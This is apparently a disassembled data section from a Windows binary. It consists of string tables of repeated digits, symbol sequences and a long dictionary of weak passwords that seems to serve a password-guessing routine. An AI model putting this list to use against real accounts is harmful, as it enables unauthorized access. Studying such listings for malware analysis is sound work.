a9999999	db '9999999',0          ; DATA XREF: seg000:0042E1A4o
a999999		db '999999',0           ; DATA XREF: seg000:0042E1A0o
		align 4
a99999		db '99999',0            ; DATA XREF: seg000:0042E19Co
		align 4
a9999		db '9999',0             ; DATA XREF: seg000:0042E198o
		align 4
a999		db '999',0              ; DATA XREF: seg000:0042E194o
a99		db '99',0               ; DATA XREF: seg000:0042E190o
		align 4
a9:					; DATA XREF: seg000:0042E18Co
		unicode	0, <9>,0
a8888888888	db '8888888888',0       ; DATA XREF: seg000:0042E188o
		align 4
a888888888	db '888888888',0        ; DATA XREF: seg000:0042E184o
		align 4
a8888888	db '8888888',0          ; DATA XREF: seg000:0042E17Co
a888888		db '888888',0           ; DATA XREF: seg000:0042E178o
		align 4
a88888		db '88888',0            ; DATA XREF: seg000:0042E174o
		align 10h
a8888		db '8888',0             ; DATA XREF: seg000:0042E170o
		align 4
a888		db '888',0              ; DATA XREF: seg000:0042E16Co
a88		db '88',0               ; DATA XREF: seg000:0042E168o
		align 10h
a8:					; DATA XREF: seg000:0042E164o
		unicode	0, <8>,0
a7777777777	db '7777777777',0       ; DATA XREF: seg000:0042E160o
		align 10h
a777777777	db '777777777',0        ; DATA XREF: seg000:0042E15Co
		align 4
a77777777	db '77777777',0         ; DATA XREF: seg000:0042E158o
		align 4
a7777777	db '7777777',0          ; DATA XREF: seg000:0042E154o
a777777		db '777777',0           ; DATA XREF: seg000:0042E150o
		align 4
a77777		db '77777',0            ; DATA XREF: seg000:0042E14Co
		align 10h
a7777		db '7777',0             ; DATA XREF: seg000:0042E148o
		align 4
a777		db '777',0              ; DATA XREF: seg000:0042E144o
a77		db '77',0               ; DATA XREF: seg000:0042E140o
		align 10h
a7:					; DATA XREF: seg000:0042E13Co
		unicode	0, <7>,0
a6666666666	db '6666666666',0       ; DATA XREF: seg000:0042E138o
		align 10h
a666666666	db '666666666',0        ; DATA XREF: seg000:0042E134o
		align 4
a66666666	db '66666666',0         ; DATA XREF: seg000:0042E130o
		align 4
a6666666	db '6666666',0          ; DATA XREF: seg000:0042E12Co
a666666		db '666666',0           ; DATA XREF: seg000:0042E128o
		align 4
a66666		db '66666',0            ; DATA XREF: seg000:0042E124o
		align 10h
a6666		db '6666',0             ; DATA XREF: seg000:0042E120o
		align 4
a666		db '666',0              ; DATA XREF: seg000:0042E11Co
a66		db '66',0               ; DATA XREF: seg000:0042E118o
		align 10h
a6:					; DATA XREF: seg000:0042E114o
		unicode	0, <6>,0
a5555555555	db '5555555555',0       ; DATA XREF: seg000:0042E110o
		align 10h
a555555555	db '555555555',0        ; DATA XREF: seg000:0042E10Co
		align 4
a55555555	db '55555555',0         ; DATA XREF: seg000:0042E108o
		align 4
a5555555	db '5555555',0          ; DATA XREF: seg000:0042E104o
a555555		db '555555',0           ; DATA XREF: seg000:0042E100o
		align 4
a55555		db '55555',0            ; DATA XREF: seg000:0042E0FCo
		align 10h
a5555		db '5555',0             ; DATA XREF: seg000:0042E0F8o
		align 4
a555		db '555',0              ; DATA XREF: seg000:0042E0F4o
a55		db '55',0               ; DATA XREF: seg000:0042E0F0o
		align 10h
a5:					; DATA XREF: seg000:0042E0ECo
		unicode	0, <5>,0
a4444444444	db '4444444444',0       ; DATA XREF: seg000:0042E0E8o
		align 10h
a444444444	db '444444444',0        ; DATA XREF: seg000:0042E0E4o
		align 4
a44444444	db '44444444',0         ; DATA XREF: seg000:0042E0E0o
		align 4
a4444444	db '4444444',0          ; DATA XREF: seg000:0042E0DCo
a444444		db '444444',0           ; DATA XREF: seg000:0042E0D8o
		align 4
a44444		db '44444',0            ; DATA XREF: seg000:0042E0D4o
		align 10h
a4444		db '4444',0             ; DATA XREF: seg000:0042E0D0o
		align 4
a444		db '444',0              ; DATA XREF: seg000:0042E0CCo
a44		db '44',0               ; DATA XREF: seg000:0042E0C8o
		align 10h
a4:					; DATA XREF: seg000:0042E0C4o
		unicode	0, <4>,0
a3333333333	db '3333333333',0       ; DATA XREF: seg000:0042E0C0o
		align 10h
a333333333	db '333333333',0        ; DATA XREF: seg000:0042E0BCo
		align 4
a33333333	db '33333333',0         ; DATA XREF: seg000:0042E0B8o
		align 4
a3333333	db '3333333',0          ; DATA XREF: seg000:0042E0B4o
a333333		db '333333',0           ; DATA XREF: seg000:0042E0B0o
		align 4
a33333		db '33333',0            ; DATA XREF: seg000:0042E0ACo
		align 10h
a3333		db '3333',0             ; DATA XREF: seg000:0042E0A8o
		align 4
a333		db '333',0              ; DATA XREF: seg000:0042E0A4o
a33		db '33',0               ; DATA XREF: seg000:0042E0A0o
		align 10h
a3:					; DATA XREF: seg000:0042E09Co
		unicode	0, <3>,0
a2222222222	db '2222222222',0       ; DATA XREF: seg000:0042E098o
		align 10h
a222222222	db '222222222',0        ; DATA XREF: seg000:0042E094o
		align 4
a22222222	db '22222222',0         ; DATA XREF: seg000:0042E090o
		align 4
a2222222	db '2222222',0          ; DATA XREF: seg000:0042E08Co
a222222		db '222222',0           ; DATA XREF: seg000:0042E088o
		align 4
a22222		db '22222',0            ; DATA XREF: seg000:0042E084o
		align 10h
a2222		db '2222',0             ; DATA XREF: seg000:0042E080o
		align 4
a222		db '222',0              ; DATA XREF: seg000:0042E07Co
a22		db '22',0               ; DATA XREF: seg000:0042E078o
		align 10h
a2:					; DATA XREF: seg000:0042E074o
		unicode	0, <2>,0
a1111111111	db '1111111111',0       ; DATA XREF: seg000:0042E070o
		align 10h
a111111111	db '111111111',0        ; DATA XREF: seg000:0042E06Co
		align 4
a1111111	db '1111111',0          ; DATA XREF: seg000:0042E064o
a11111		db '11111',0            ; DATA XREF: seg000:0042E05Co
		align 4
a1111		db '1111',0             ; DATA XREF: seg000:0042E058o
		align 4
a11		db '11',0               ; DATA XREF: seg000:0042E050o
		align 4
a010		db '010',0              ; DATA XREF: seg000:0042E040o
a009		db '009',0              ; DATA XREF: seg000:0042E03Co
a008		db '008',0              ; DATA XREF: seg000:0042E038o
a006		db '006',0              ; DATA XREF: seg000:0042E030o
a005		db '005',0              ; DATA XREF: sub_40CE55+215o
					; seg000:0042E02Co
a004		db '004',0              ; DATA XREF: seg000:0042E028o
a003		db '003',0              ; DATA XREF: seg000:0042E024o
a002		db '002',0              ; DATA XREF: seg000:0042E020o
a001		db '001',0              ; DATA XREF: sub_40CE55+200o
					; seg000:0042E01Co
asc_42F2CC	db '*********',0        ; DATA XREF: seg000:0042E018o
		align 4
asc_42F2D8	db '********',0         ; DATA XREF: seg000:0042E014o
		align 4
asc_42F2E4	db '*******',0          ; DATA XREF: seg000:0042E010o
asc_42F2EC	db '******',0           ; DATA XREF: seg000:0042E00Co
		align 4
asc_42F2F4	db '*****',0            ; DATA XREF: seg000:0042E008o
		align 4
asc_42F2FC	db '****',0             ; DATA XREF: seg000:0042E004o
		align 4
asc_42F304	db '***',0              ; DATA XREF: seg000:0042E000o
asc_42F308	db '**',0               ; DATA XREF: seg000:0042DFFCo
		align 4
a0000000000	db '0000000000',0       ; DATA XREF: seg000:0042DFF4o
		align 4
a000000000	db '000000000',0        ; DATA XREF: seg000:0042DFF0o
		align 4
a@		db '@!',0               ; DATA XREF: seg000:0042DFD0o
		align 4
a@_0		db '#@!',0              ; DATA XREF: seg000:0042DFCCo
a@_1		db '$#@!',0             ; DATA XREF: seg000:0042DFC8o
		align 4
a@_2		db '%$#@!',0            ; DATA XREF: seg000:0042DFC4o
		align 4
a@_3		db '^%$#@!',0           ; DATA XREF: seg000:0042DFC0o
		align 4
a@_4		db '&^%$#@!',0          ; DATA XREF: seg000:0042DFBCo
a@_5		db '*&^%$#@!',0         ; DATA XREF: seg000:0042DFB8o
		align 4
asc_42F358	db '$$$',0              ; DATA XREF: seg000:0042DFB4o
asc_42F35C	db '$$',0               ; DATA XREF: seg000:0042DFB0o
		align 10h
asc_42F360:				; DATA XREF: seg000:0042DFACo
		unicode	0, <$>,0
a456_0		db '456+',0             ; DATA XREF: seg000:0042DFA8o
		align 4
a789_0		db '789+',0             ; DATA XREF: seg000:0042DFA4o
		align 4
a0		db '=-0',0              ; DATA XREF: seg000:0042DFA0o
asc_42F378	db '--++',0             ; DATA XREF: seg000:0042DF9Co
		align 10h
asc_42F380	db '-+',0               ; DATA XREF: seg000:0042DF98o
		align 4
asc_42F384	db '----',0             ; DATA XREF: seg000:0042DF94o
		align 4
asc_42F38C	db '--',0               ; DATA XREF: seg000:0042DF8Co
					; seg000:0042DF90o
		align 10h
asc_42F390:				; DATA XREF: seg000:0042DF88o
		unicode	0, <->,0
asc_42F394	db '++++',0             ; DATA XREF: seg000:0042DF84o
		align 4
asc_42F39C	db '+++',0              ; DATA XREF: seg000:0042DF80o
asc_42F3A0	db '++',0               ; DATA XREF: seg000:0042DF7Co
		align 4
asc_42F3A4:				; DATA XREF: seg000:0042DF78o
		unicode	0, <+>,0
a@@		db '@@',0               ; DATA XREF: seg000:0042DF74o
		align 4
a@_6:					; DATA XREF: sub_40CE55+23Ao
					; seg000:0042DF70o
		unicode	0, <@>,0
off_42F3B0	dd offset loc_40211D+4	; DATA XREF: seg000:0042DF6Co
dword_42F3B4	dd 2121h		; DATA XREF: seg000:0042DF68o
dword_42F3B8	dd 24234021h, 2A265E25h, 0 ; DATA XREF:	seg000:0042DF60o
dword_42F3C4	dd 24234021h, 265E25h	; DATA XREF: seg000:0042DF5Co
dword_42F3CC	dd 24234021h, 5E25h	; DATA XREF: seg000:0042DF58o
dword_42F3D4	dd 24234021h, 25h	; DATA XREF: seg000:0042DF54o
dword_42F3DC	dd 234021h		; DATA XREF: seg000:0042DF50o
dword_42F3E0	dd 4021h		; DATA XREF: seg000:0042DF4Co
dword_42F3E4	dd 21h			; DATA XREF: sub_40CE55+19Ao
					; sub_40CE55+5B5Fo ...
dword_42F3E8	dd 25h			; DATA XREF: seg000:0042DF44o
aZimmerman	db 'zimmerman',0        ; DATA XREF: seg000:0042DF40o
		align 4
aZap		db 'zap',0              ; DATA XREF: seg000:0042DF3Co
aYellowstone	db 'yellowstone',0      ; DATA XREF: seg000:0042DF38o
aXyz		db 'xyz',0              ; DATA XREF: seg000:0042DF34o
					; seg000:0042E42Co
aWisconsin	db 'wisconsin',0        ; DATA XREF: seg000:0042DF30o
		align 4
aWilliamsburg	db 'williamsburg',0     ; DATA XREF: seg000:0042DF2Co
		align 4
aWholesale	db 'wholesale',0        ; DATA XREF: seg000:0042DF28o
		align 4
aTty		db 'tty',0              ; DATA XREF: seg000:0042DF24o
aTopography	db 'topography',0       ; DATA XREF: seg000:0042DF20o
		align 4
aTemptation	db 'temptation',0       ; DATA XREF: seg000:0042DF1Co
		align 10h
aTelephone	db 'telephone',0        ; DATA XREF: seg000:0042DF18o
		align 4
aTangerine	db 'tangerine',0        ; DATA XREF: seg000:0042DF14o
		align 4
aSys		db 'sys',0              ; DATA XREF: seg000:0042DF10o
aSupported	db 'supported',0        ; DATA XREF: seg000:0042DF0Co
		align 4
aSuperuser	db 'superuser',0        ; DATA XREF: seg000:0042DF08o
		align 4
aSuperstage	db 'superstage',0       ; DATA XREF: seg000:0042DF04o
		align 10h
aSun		db 'sun',0              ; DATA XREF: seg000:0042DF00o
aStuttgart	db 'stuttgart',0        ; DATA XREF: seg000:0042DEFCo
		align 10h
aStratford	db 'stratford',0        ; DATA XREF: seg000:0042DEF8o
		align 4
aStephanie	db 'stephanie',0        ; DATA XREF: seg000:0042DEF4o
		align 4
aSignature	db 'signature',0        ; DATA XREF: seg000:0042DEF0o
		align 4
aSheffield	db 'sheffield',0        ; DATA XREF: seg000:0042DEECo
		align 10h
aSal		db 'sal',0              ; DATA XREF: seg000:0042DEE8o
aRochester	db 'rochester',0        ; DATA XREF: seg000:0042DEE4o
		align 10h
aRje		db 'rje',0              ; DATA XREF: seg000:0042DEE0o
aRachmaninoff	db 'rachmaninoff',0     ; DATA XREF: seg000:0042DEDCo
		align 4
aPub		db 'pub',0
aProfessor	db 'professor',0
		align 4
aPrinceton	db 'princeton',0
		align 10h
aPondering	db 'pondering',0
		align 4
aPolynomial	db 'polynomial',0
		align 4
aPersimmon	db 'persimmon',0
		align 4
aPercolate	db 'percolate',0
		align 10h
aPam		db 'pam',0
aPad		db 'pad',0
aOceanography	db 'oceanography',0
		align 4
aNutrition	db 'nutrition',0
		align 4
aNew		db 'new',0
aNet		db 'net',0
aMit		db 'mit',0
aMgr		db 'mgr',0
aMacintosh	db 'macintosh',0
		align 10h
aLiz		db 'liz',0
aLee		db 'lee',0
aLamination	db 'lamination',0
		align 4
aKim		db 'kim',0
aJoy		db 'joy',0
aJen		db 'jen',0
aInnocuous	db 'innocuous',0
		align 4
aImbroglio	db 'imbroglio',0
		align 4
aIbm		db 'ibm',0
aHappening	db 'happening',0
		align 4
aHal		db 'hal',0
aGnu		db 'gnu',0
aFun		db 'fun',0
aForesight	db 'foresight',0
		align 10h
aFoolproof	db 'foolproof',0
		align 4
aExtension	db 'extension',0
		align 4
aEstablish	db 'establish',0
		align 4
aEnterprise	db 'enterprise',0
		align 10h
aElizabeth	db 'elizabeth',0
		align 4
aEiderdown	db 'eiderdown',0
		align 4
aEdinburgh	db 'edinburgh',0
		align 4
aDos		db 'dos',0
aDog		db 'dog',0
aDiscovery	db 'discovery',0
		align 4
aDesperate	db 'desperate',0
		align 4
aDeb		db 'deb',0
aCornelius	db 'cornelius',0
		align 4
aCommrades	db 'commrades',0
		align 10h
aChristine	db 'christine',0
		align 4
aChristina	db 'christina',0
		align 4
aChemistry	db 'chemistry',0
		align 4
aCatherine	db 'catherine',0
		align 10h
aCat		db 'cat',0
aCampanile	db 'campanile',0
		align 10h
aCad		db 'cad',0
aBsd		db 'bsd',0
aBob		db 'bob',0
aBicameral	db 'bicameral',0
		align 4
aBeethoven	db 'beethoven',0
		align 4
aAtmosphere	db 'atmosphere',0
		align 10h
aAsm		db 'asm',0
aAsd		db 'asd',0              ; DATA XREF: seg000:0042E45Co
aAnthropogenic	db 'anthropogenic',0
		align 4
aAnn		db 'ann',0
aAndromache	db 'andromache',0
		align 4
aAmy		db 'amy',0
aAmorphous	db 'amorphous',0        ; DATA XREF: seg000:0042DDD9o
		align 4
aAma		db 'ama',0
aAlf		db 'alf',0
aAlbatross	db 'albatross',0
		align 4
aAda		db 'ada',0              ; DATA XREF: seg000:0042DDC9o
aH4x0ring	db 'h4x0ring',0
		align 4
aH4x0r1ng	db 'h4x0r1ng',0
		align 4
aH4x1ng		db 'h4x1ng',0
		align 10h
aHaxing		db 'haxing',0
		align 4
aHax		db 'hax',0
aWh0re		db 'wh0re',0
		align 4
aHo		db 'ho',0
		align 4
aWh0r3		db 'wh0r3',0
		align 10h
aWindoze95	db 'windoze95',0
		align 4
aWindoze98	db 'windoze98',0
		align 4
aWindozeme	db 'windozeME',0        ; DATA XREF: seg000:loc_42DD9Do
		align 4
aWindoze2k	db 'windoze2k',0
		align 10h
aWindozexp	db 'windozexp',0        ; DATA XREF: seg000:0042DD95o
		align 4
aWindows95	db 'windows95',0
		align 4
aWindows98	db 'windows98',0        ; DATA XREF: seg000:0042DD8Do
		align 4
aWindowsme	db 'windowsME',0
		align 10h
aWindows2k	db 'windows2k',0
		align 4
aWindowsxp	db 'WindowsXP',0        ; DATA XREF: seg000:0042DD84o
		align 4
aMs		db 'MS',0               ; DATA XREF: seg000:0042DD80o
		align 4
aM_0		db 'M$',0               ; DATA XREF: seg000:0042DD7Co
		align 10h
aBilly		db 'billy',0            ; DATA XREF: seg000:0042DD78o
		align 4
aWindose	db 'windose',0          ; DATA XREF: seg000:0042DD74o
aWindoze	db 'windoze',0          ; DATA XREF: seg000:0042DD70o
aWindowz	db 'windowz',0          ; DATA XREF: seg000:0042DD6Co
aWileecoyote	db 'wileecoyote',0      ; DATA XREF: seg000:0042DD68o
aDonaldduck	db 'donaldduck',0       ; DATA XREF: seg000:0042DD64o
		align 4
aAlexander	db 'Alexander',0        ; DATA XREF: seg000:0042DD60o
		align 4
aAl3x		db 'Al3x',0             ; DATA XREF: seg000:0042DD5Co
		align 4
aDud3		db 'dud3',0             ; DATA XREF: seg000:0042DD58o
		align 4
aDudette	db 'dudette',0          ; DATA XREF: seg000:0042DD54o
aD00d		db 'd00d',0             ; DATA XREF: seg000:0042DD50o
		align 4
aLol		db 'lol',0              ; DATA XREF: seg000:0042DD4Co
aRoscopcoltrane	db 'RoscoPColtrane',0   ; DATA XREF: seg000:0042DD48o
		align 4
aRoscop		db 'RoscoP',0           ; DATA XREF: seg000:0042DD44o
		align 10h
aRosco		db 'Rosco',0            ; DATA XREF: seg000:0042DD40o
		align 4
aRoss		db 'Ross',0             ; DATA XREF: seg000:0042DD3Co
		align 10h
aTestin		db 'testin',0           ; DATA XREF: seg000:0042DD38o
		align 4
aTester		db 'tester',0           ; DATA XREF: seg000:0042DD34o
		align 10h
a00000000	db '00000000',0         ; DATA XREF: seg000:0042DD30o
					; seg000:0042DFECo
		align 4
aZulu		db 'zulu',0             ; DATA XREF: seg000:0042DD2Co
		align 4
aZombie		db 'zombie',0           ; DATA XREF: seg000:0042DD28o
		align 4
aZmodem		db 'zmodem',0           ; DATA XREF: seg000:0042DD24o
		align 4
aZimmerma	db 'zimmerma',0         ; DATA XREF: seg000:0042DD20o
		align 10h
aZiggy		db 'ziggy',0            ; DATA XREF: seg000:0042DD1Co
		align 4
aZeitgeis	db 'zeitgeis',0         ; DATA XREF: seg000:0042DD18o
		align 4
aZebra		db 'zebra',0            ; DATA XREF: seg000:0042DD14o
		align 4
aYoung		db 'young',0            ; DATA XREF: seg000:0042DD10o
		align 4
aYosemite	db 'yosemite',0         ; DATA XREF: seg000:0042DD0Co
		align 10h
aYolanda	db 'yolanda',0          ; DATA XREF: seg000:0042DD08o
aYellowst	db 'yellowst',0         ; DATA XREF: seg000:0042DD04o
		align 4
aYellow		db 'yellow',0           ; DATA XREF: seg000:0042DD00o
		align 4
aYankee		db 'yankee',0           ; DATA XREF: seg000:0042DCFCo
		align 4
aYang		db 'yang',0             ; DATA XREF: seg000:0042DCF8o
					; seg000:0042E434o
		align 4
aYaco		db 'yaco',0             ; DATA XREF: seg000:0042DCF4o
					; seg000:0042E430o
		align 4
aXyzzy		db 'xyzzy',0            ; DATA XREF: seg000:0042DCF0o
		align 4
aXray		db 'xray',0             ; DATA XREF: seg000:0042DCECo
		align 4
aXmodem		db 'xmodem',0           ; DATA XREF: seg000:0042DCE8o
		align 4
aXmen		db 'xmen',0             ; DATA XREF: seg000:0042DCE4o
		align 4
aXman		db 'xman',0             ; DATA XREF: seg000:0042DCE0o
		align 4
aXfer		db 'xfer',0             ; DATA XREF: seg000:0042DCDCo
		align 4
aXena		db 'xena',0             ; DATA XREF: seg000:0042DCD8o
		align 4
aWyoming	db 'wyoming',0          ; DATA XREF: seg000:0042DCD4o
aWwii		db 'wwii',0             ; DATA XREF: seg000:0042DCD0o
		align 4
aWormwood	db 'wormwood',0         ; DATA XREF: seg000:0042DCCCo
		align 4
aWorm		db 'worm',0             ; DATA XREF: seg000:0042DCC8o
		align 10h
aWork		db 'work',0             ; DATA XREF: seg000:0042DCC4o
		align 4
aWorf		db 'worf',0             ; DATA XREF: seg000:0042DCC0o
		align 10h
aWordperf	db 'wordperf',0         ; DATA XREF: seg000:0042DCBCo
		align 4
aWord		db 'word',0             ; DATA XREF: seg000:0042DCB8o
		align 4
aWoodwind	db 'woodwind',0         ; DATA XREF: seg000:0042DCB4o
		align 10h
aWood		db 'wood',0             ; DATA XREF: seg000:0042DCB0o
		align 4
aWomen		db 'women',0            ; DATA XREF: seg000:0042DCACo
		align 10h
aWombat		db 'wombat',0           ; DATA XREF: seg000:0042DCA8o
		align 4
aWoman		db 'woman',0            ; DATA XREF: seg000:0042DCA4o
		align 10h
aWolverin	db 'wolverin',0         ; DATA XREF: seg000:0042DCA0o
		align 4
aWolf		db 'wolf',0             ; DATA XREF: seg000:0042DC9Co
		align 4
aWizard		db 'wizard',0           ; DATA XREF: seg000:0042DC98o
		align 4
aWithin		db 'within',0           ; DATA XREF: seg000:0042DC94o
		align 4
aWiseass	db 'wiseass',0          ; DATA XREF: seg000:0042DC90o
aWisconsi	db 'wisconsi',0         ; DATA XREF: seg000:0042DC8Co
		align 4
aWired		db 'wired',0            ; DATA XREF: seg000:0042DC88o
		align 10h
aWinston	db 'winston',0          ; DATA XREF: seg000:0042DC84o
aWing		db 'wing',0             ; DATA XREF: seg000:0042DC80o
		align 10h
aWine		db 'wine',0             ; DATA XREF: seg000:0042DC7Co
		align 4
aWindows	db 'windows',0          ; DATA XREF: seg000:0042DC78o
aWilma		db 'wilma',0            ; DATA XREF: seg000:0042DC74o
		align 4
aWillie		db 'willie',0           ; DATA XREF: seg000:0042DC70o
		align 10h
aWilliams	db 'williams',0         ; DATA XREF: seg000:0042DC6Co
		align 4
aWilliam	db 'william',0          ; DATA XREF: seg000:0042DC68o
aWill		db 'will',0             ; DATA XREF: seg000:0042DC64o
		align 4
aWhore		db 'whore',0            ; DATA XREF: seg000:0042DC60o
		align 4
aWholesal	db 'wholesal',0         ; DATA XREF: seg000:0042DC5Co
		align 10h
aWhitney	db 'whitney',0          ; DATA XREF: seg000:0042DC58o
aWhiting	db 'whiting',0          ; DATA XREF: seg000:0042DC54o
aWhite		db 'white',0            ; DATA XREF: seg000:0042DC50o
		align 4
aWhisky		db 'whisky',0           ; DATA XREF: seg000:0042DC4Co
		align 10h
aWhatnot	db 'whatnot',0          ; DATA XREF: seg000:0042DC48o
aWhatever	db 'whatever',0         ; DATA XREF: seg000:0042DC44o
		align 4
aWestern	db 'western',0          ; DATA XREF: seg000:0042DC40o
aWest		db 'west',0             ; DATA XREF: seg000:0042DC3Co
		align 4
aWerewolf	db 'werewolf',0         ; DATA XREF: seg000:0042DC38o
		align 10h
aWendy		db 'wendy',0            ; DATA XREF: seg000:0042DC34o
		align 4
aWendi		db 'wendi',0            ; DATA XREF: seg000:0042DC30o
		align 10h
aWell		db 'well',0             ; DATA XREF: seg000:0042DC2Co
		align 4
aWeenie		db 'weenie',0           ; DATA XREF: seg000:0042DC28o
		align 10h
aWeed		db 'weed',0             ; DATA XREF: seg000:0042DC24o
		align 4
aWednesda	db 'wednesda',0         ; DATA XREF: seg000:0042DC20o
		align 4
aWebpage	db 'webpage',0          ; DATA XREF: seg000:0042DC1Co
aWave		db 'wave',0             ; DATA XREF: seg000:0042DC18o
		align 4
aWater		db 'water',0            ; DATA XREF: seg000:0042DC14o
		align 4
aWatchwor	db 'watchwor',0         ; DATA XREF: seg000:0042DC10o
		align 4
aWasp		db 'wasp',0             ; DATA XREF: seg000:0042DC0Co
		align 10h
aWarren		db 'warren',0           ; DATA XREF: seg000:0042DC08o
		align 4
aWarp		db 'warp',0             ; DATA XREF: seg000:0042DC04o
		align 10h
aWargames	db 'wargames',0         ; DATA XREF: seg000:0042DC00o
		align 4
aWarfare	db 'warfare',0          ; DATA XREF: seg000:0042DBFCo
aWarez		db 'warez',0            ; DATA XREF: seg000:0042DBF8o
		align 4
aWard		db 'ward',0             ; DATA XREF: seg000:0042DBF4o
		align 4
aWaco		db 'waco',0             ; DATA XREF: seg000:0042DBF0o
		align 4
aVodka		db 'vodka',0            ; DATA XREF: seg000:0042DBECo
		align 4
aVisualba	db 'visualba',0         ; DATA XREF: seg000:0042DBE8o
		align 10h
aVisual		db 'visual',0           ; DATA XREF: seg000:0042DBE4o
		align 4
aVisitor	db 'visitor',0          ; DATA XREF: seg000:0042DBE0o
aVirus		db 'virus',0            ; DATA XREF: seg000:0042DBDCo
		align 4
aVirginia	db 'virginia',0         ; DATA XREF: seg000:0042DBD8o
		align 4
aVirgin		db 'virgin',0           ; DATA XREF: seg000:0042DBD4o
		align 4
aVillage	db 'village',0          ; DATA XREF: seg000:0042DBD0o
aVideogam	db 'videogam',0         ; DATA XREF: seg000:0042DBCCo
		align 10h
aVideo		db 'video',0            ; DATA XREF: seg000:0042DBC8o
		align 4
aVictor		db 'victor',0           ; DATA XREF: seg000:0042DBC4o
		align 10h
aVicky		db 'vicky',0            ; DATA XREF: seg000:0042DBC0o
		align 4
aVertigo	db 'vertigo',0          ; DATA XREF: seg000:0042DBBCo
aVeronica	db 'veronica',0         ; DATA XREF: seg000:0042DBB8o
		align 4
aVenus		db 'venus',0            ; DATA XREF: seg000:0042DBB4o
		align 4
aVasant		db 'vasant',0           ; DATA XREF: seg000:0042DBB0o
		align 4
aVampire	db 'vampire',0          ; DATA XREF: seg000:0042DBACo
aValerie	db 'valerie',0          ; DATA XREF: seg000:0042DBA8o
aVagina		db 'vagina',0           ; DATA XREF: seg000:0042DBA4o
		align 4
aUucp		db 'uucp',0             ; DATA XREF: seg000:0042DBA0o
		align 4
aUtility	db 'utility',0          ; DATA XREF: seg000:0042DB9Co
aUtil		db 'util',0             ; DATA XREF: seg000:0042DB98o
		align 4
aUsmc		db 'usmc',0             ; DATA XREF: seg000:0042DB94o
		align 4
aUsername	db 'username',0         ; DATA XREF: seg000:0042DB90o
		align 10h
aUsermane	db 'usermane',0         ; DATA XREF: seg000:0042DB8Co
		align 4
aUsenet		db 'usenet',0           ; DATA XREF: seg000:0042DB88o
		align 4
aUrsula		db 'ursula',0           ; DATA XREF: seg000:0042DB84o
		align 4
aUrchin		db 'urchin',0           ; DATA XREF: seg000:0042DB80o
		align 4
aUranus		db 'uranus',0           ; DATA XREF: seg000:0042DB7Co
		align 4
aUpload		db 'upload',0           ; DATA XREF: seg000:0042DB78o
		align 4
aUnlock		db 'unlock',0           ; DATA XREF: seg000:0042DB74o
		align 4
aUnknown_0	db 'unknown',0          ; DATA XREF: seg000:0042DB70o
aUniversi	db 'universi',0         ; DATA XREF: seg000:0042DB6Co
		align 10h
aUniverse	db 'universe',0         ; DATA XREF: seg000:0042DB68o
		align 4
aUniversa	db 'universa',0         ; DATA XREF: seg000:0042DB64o
		align 4
aUniform	db 'uniform',0          ; DATA XREF: seg000:0042DB60o
aUnicorn	db 'unicorn',0          ; DATA XREF: seg000:0042DB5Co
aUnhappy	db 'unhappy',0          ; DATA XREF: seg000:0042DB58o
aUndo		db 'undo',0             ; DATA XREF: seg000:0042DB54o
		align 4
aUncle		db 'uncle',0            ; DATA XREF: seg000:0042DB50o
		align 10h
aUmesh		db 'umesh',0            ; DATA XREF: seg000:0042DB4Co
		align 4
aUgly		db 'ugly',0             ; DATA XREF: seg000:0042DB48o
		align 10h
aTuttle		db 'tuttle',0           ; DATA XREF: seg000:0042DB44o
		align 4
aTurn		db 'turn',0             ; DATA XREF: seg000:0042DB40o
		align 10h
aTuesday	db 'tuesday',0          ; DATA XREF: seg000:0042DB3Co
aTubas		db 'tubas',0            ; DATA XREF: seg000:0042DB38o
		align 10h
aTruth		db 'truth',0            ; DATA XREF: seg000:0042DB34o
		align 4
aTrue		db 'true',0             ; DATA XREF: seg000:0042DB30o
		align 10h
aTron		db 'tron',0             ; DATA XREF: seg000:0042DB2Co
		align 4
aTrombone	db 'trombone',0         ; DATA XREF: seg000:0042DB28o
		align 4
aTrojan		db 'trojan',0           ; DATA XREF: seg000:0042DB24o
		align 4
aTrivial	db 'trivial',0          ; DATA XREF: seg000:0042DB20o
aTrisha		db 'trisha',0           ; DATA XREF: seg000:0042DB1Co
		align 4
aTrek		db 'trek',0             ; DATA XREF: seg000:0042DB18o
		align 4
aTree		db 'tree',0             ; DATA XREF: seg000:0042DB14o
		align 4
aTrapdoor	db 'trapdoor',0         ; DATA XREF: seg000:0042DB10o
		align 4
aTrap		db 'trap',0             ; DATA XREF: seg000:0042DB0Co
		align 10h
aTransfer	db 'transfer',0         ; DATA XREF: seg000:0042DB08o
		align 4
aTrails		db 'trails',0           ; DATA XREF: seg000:0042DB04o
		align 4
aTracy		db 'tracy',0            ; DATA XREF: seg000:0042DB00o
		align 4
aTracie		db 'tracie',0           ; DATA XREF: seg000:0042DAFCo
		align 4
aTraci		db 'traci',0            ; DATA XREF: seg000:0042DAF8o
		align 4
aToyota		db 'toyota',0           ; DATA XREF: seg000:0042DAF4o
					; seg000:0042E404o
		align 4
aToxic		db 'toxic',0            ; DATA XREF: seg000:0042DAF0o
		align 4
aTortoise	db 'tortoise',0         ; DATA XREF: seg000:0042DAECo
		align 4
aTopograp	db 'topograp',0         ; DATA XREF: seg000:0042DAE8o
		align 4
aTomato		db 'tomato',0           ; DATA XREF: seg000:0042DAE4o
		align 4
aTokenrin	db 'tokenrin',0         ; DATA XREF: seg000:0042DAE0o
		align 4
aToken		db 'token',0            ; DATA XREF: seg000:0042DADCo
		align 10h
aToggle		db 'toggle',0           ; DATA XREF: seg000:0042DAD8o
		align 4
aToad		db 'toad',0             ; DATA XREF: seg000:0042DAD4o
		align 10h
aTits		db 'tits',0             ; DATA XREF: seg000:0042DAD0o
		align 4
aTina		db 'tina',0             ; DATA XREF: seg000:0042DACCo
		align 10h
aTime		db 'time',0             ; DATA XREF: seg000:0042DAC8o
		align 4
aTiger		db 'tiger',0            ; DATA XREF: seg000:0042DAC4o
					; seg000:0042E3F8o
		align 10h
aTiffany	db 'tiffany',0          ; DATA XREF: seg000:0042DAC0o
aThursday	db 'thursday',0         ; DATA XREF: seg000:0042DABCo
		align 4
aThin		db 'thin',0             ; DATA XREF: seg000:0042DAB8o
		align 4
aTheresa	db 'theresa',0          ; DATA XREF: seg000:0042DAB4o
aThailand	db 'thailand',0         ; DATA XREF: seg000:0042DAB0o
		align 10h
aText		db 'text',0             ; DATA XREF: seg000:0042DAACo
		align 4
aTetris		db 'tetris',0           ; DATA XREF: seg000:0042DAA8o
		align 10h
aTess		db 'tess',0             ; DATA XREF: seg000:0042DAA4o
		align 4
aTerminat	db 'terminat',0         ; DATA XREF: seg000:0042DAA0o
		align 4
aTerminal	db 'terminal',0         ; DATA XREF: seg000:0042DA9Co
		align 10h
